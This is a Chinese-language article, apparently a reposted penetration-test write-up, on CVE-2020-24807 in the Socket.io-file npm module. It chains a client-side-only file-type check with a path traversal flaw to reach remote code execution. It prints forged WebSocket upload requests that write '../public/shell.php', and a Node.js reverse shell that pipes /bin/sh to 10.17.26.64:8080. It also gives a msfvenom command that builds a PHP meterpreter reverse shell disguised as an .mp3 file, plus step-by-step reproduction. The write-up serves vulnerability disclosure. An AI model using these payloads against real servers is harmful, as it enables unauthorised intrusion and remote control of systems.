您的位置 首页 php

Socket.io-file NPM模块中的文件类型

写在前面的话

在一次渗透测试过程中,我们所面对的应用程序安全系数比较高,没有存在太多的错误配置,因此简单分析并没有发现安全问题。但是深入分析后,我们发现了一个运行在嵌入式设备上的Web应用程序。这个Web应用程序使用了WebSocket来实现服务器和客户端之间的通信,为了使用WebSocket,后端系统可以选择的技术有很多种,而这里使用的是Socket.io。

这个应用程序的主要功能之一就是文件上传,这也是它选择使用Socket.io-file NPM模块的原因。总而言之,这里存在一个路径遍历漏洞,将允许我们上传文件到任意系统路径中,并让Web服务器运行该文件。

如果我们可以修改ssh_config、/etc/passwd或/etc/shadow文件的话,那么这个漏洞就相当于是一个远程代码执行漏洞了,但这只能通过root权限来实现,因此我们需要想办法利用低权限用户来实现远程代码执行。

通过研究之后,我们在Socket.io-file模块中找到了一个文件类型限制绕过漏洞。在该漏洞的帮助下,我们可以绕过模块配置文件中的文件类型限制。这样一来,我们就可以上传任意文件类型,然后通过修改底层配置文件来上传适当的Shell,以实现底层系统的远程代码执行。

除此之外,Socket.io-file的上传功能也存在对输入数据处理和验证逻辑不正确的问题,这些分布在代码的各个地方。而攻击者将能够利用该问题绕过上传文件类型的限制,将所选的文件类型上传到底层系统中。

漏洞描述

Socket.io-file的默认配置下,提供了一个由WebSocket处理的上传功能。当用户尝试通过Web应用程序上传一个文件时,将会创建下列客户端请求以实现文件创建:

 42["socket.io-file::createFile",{"id":"u_0","name":"testfile.mp3","size":1,"chunkSize":10240,"sent":0,"data":{}}]  

为了在底层系统创建该文件,Socket.io-file的index.js代码将会被执行,下列代码将会检测文件的类型并执行后续操作:

 let err = new Error('Not Acceptable file type ' + mimeType + ' of ' + filename + '. Type must be one of these: ' + this.accepts.join(', '));

return sendError(err);

}

else {

self.socket.emit(socket.io-file::complete::${id}, emitObj); self.emit('complete', emitObj);

}

}

else {

self.socket.emit(socket.io-file::complete::${id}, emitObj);

self.emit('complete', emitObj);  

比如说,如果用户上传了一个名为“testfile.mp3”的文件,那么应用程序将创建一个新的.mp3文件,由于钱买你的代码只会在客户端进行检测(WebSocket请求创建之前),那么我们就可以拦截上传请求,并以应用程序修改文件名的方式来修改创建文件的文件类型。下面给出的是漏洞利用样例:

 42["socket.io-file::createFile",{"id":"u_0","name":"testfile.php","size":1,"chunkSize":10240,"sent":0,"data":{}}]  

为了绕过客户端限制,我们还需要将原始文件的文件类型修改问Web应用程序允许的文件类型。拦截请求之后,我们需要将文件类型修改为原始类型(.php),这样服务器端就不会进行检测了。接下来,我们就可以在底层系统创建一个.php文件了,这样也就实现了文件类型检测绕过。

除此之外,我们还可以结合路径遍历漏洞来执行攻击,我们继续往下看。

结合多个漏洞实现RCE

既然我们可以向任意服务器目录上传任意文件,那么我们就可以在特定配置下,在底层系统实现远程代码执行了。

场景1:修改配置文件

首先,我们可以修改配置文件,向Web服务器中添加恶意JavaScript代码库,然后修改index.html来加载恶意js脚本,即添加一个<script>标签来引入js文件,或直接把js代码拷贝进去。

接下来,我们就可以上传一个js文件(服务器将会在index.html文件中加载该脚本),该文件中包含的代码如下:

 (function(){

var net = require(“net”),

cp = require(“child_process”),

sh = cp.spawn(“/bin/sh”, []);

var client = new net.Socket();

client.connect(8080, “10.17.26.64”, function(){

client.pipe(sh.stdin);

sh.stdout.pipe(client);

sh.stderr.pipe(client);

});

return /a/; // Prevents the Node.js application from crashing

})();  

需要注意的是,这个反向Shell只能在包含错误配置的Node.js环境中执行。通过修改监听器的IP地址和端口号,我们就可以获取到反向Shell了,并在底层系统实现命令执行。

场景2:利用特定漏洞即错误配置

我们存在漏洞的模块中包含了大量不同的配置项,其中一个就是允许node.js服务器运行PHP。当然了,现在也有很多多用途服务器支持这种功能,而这种漏洞利用起来也相对简单。

我们可以使用msfvenom创建一个PHP反向Shell,然后执行下列命令:

 msfvenom -p php/meterpreter_reverse_tcp LHOST=10.17.26.64 LPORT=4443 -f raw > shell.mp3  

该命令将创建一个php文件,当服务器执行该文件时,便能够给我们提供一个反向Shell。此时,结合之前的漏洞上传文件,我们需要修改上传WebSocket请求:

 42[“socket.io-file::createFile”,{“id”:”u_0″,”name”:”../public/shell.php”,”size”:1,”chunkSize”:10240,”sent”:0,”data”:{}}]  

该命令将把我们的文件上传至服务器端的公共文件夹,使用浏览器进入该目录,我们就可以执行PHP Shell,并在我们的攻击设备上获取到反向Shell了:

漏洞复现

为了复现该漏洞,我们需要执行下列操作:

  • 设置一个代理来拦截HTTP和WebSocket请求;
  • 创建一个Web应用程序允许的文件类型;
  • 使用io-file上传一个文件,并拦截WebSocket请求;
  • 根据文件类型修改请求中的“name”参数值:
 42[“socket.io-file::createFile”,{“id”:”u_0″,”name”:”testfile.php”,”size”:1,”chunkSize”:10240,”sent”:0,”data”:{}}]  

上述命令将会在当前用户的date目录中创建一个testfile.php文件,我们的测试服务器存储文件路径为/home/ubuntutest/Documents/socket-app/data。

漏洞信息

漏洞编号:CVE-2020-24807

安全公告:

受影响版本

  • node v10.19.0
  • io-file v2.0.31
  • io v2.3.0

文章来源:智云一二三科技

文章标题:Socket.io-file NPM模块中的文件类型

文章地址:https://www.zhihuclub.com/80169.shtml

关于作者: 智云科技

热门文章

网站地图